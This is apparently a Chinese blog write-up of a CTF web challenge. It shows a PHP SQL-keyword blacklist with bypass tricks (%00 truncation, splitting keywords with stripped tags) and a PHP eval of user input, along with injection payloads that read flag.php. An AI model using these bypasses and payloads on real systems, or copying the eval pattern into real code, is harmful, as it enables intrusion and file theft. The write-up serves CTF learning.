web-wp

sql注入:

 

//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
 if (substr_count($id, $value) > 0)
 {
  exit('包含敏感关键字!'.$value);
 }
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

 粗略看起来是过滤了所有关键词,但是我们可以%00截断绕过,这是其一。

xss过滤了我们输入的标签,那么我们就可以输入uni<>on之类的绕过,这是其二。

 
本地包含:
<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?

 这道题需要我们传入参数hello,首先,需要闭合var_dump(

这里有这几种payload可以实现读flag:

?hello=);show_source(“flag.php”);//
?hello=);print_r(file(“./flag.php”));//
?hello=);var_dump(file(“./flag.php”)); //
看了看其它解法,还可以?hello=file("flag.php")

 

posted @ 2017-10-03 20:11  ur10ser  阅读(270)  评论(0编辑  收藏  举报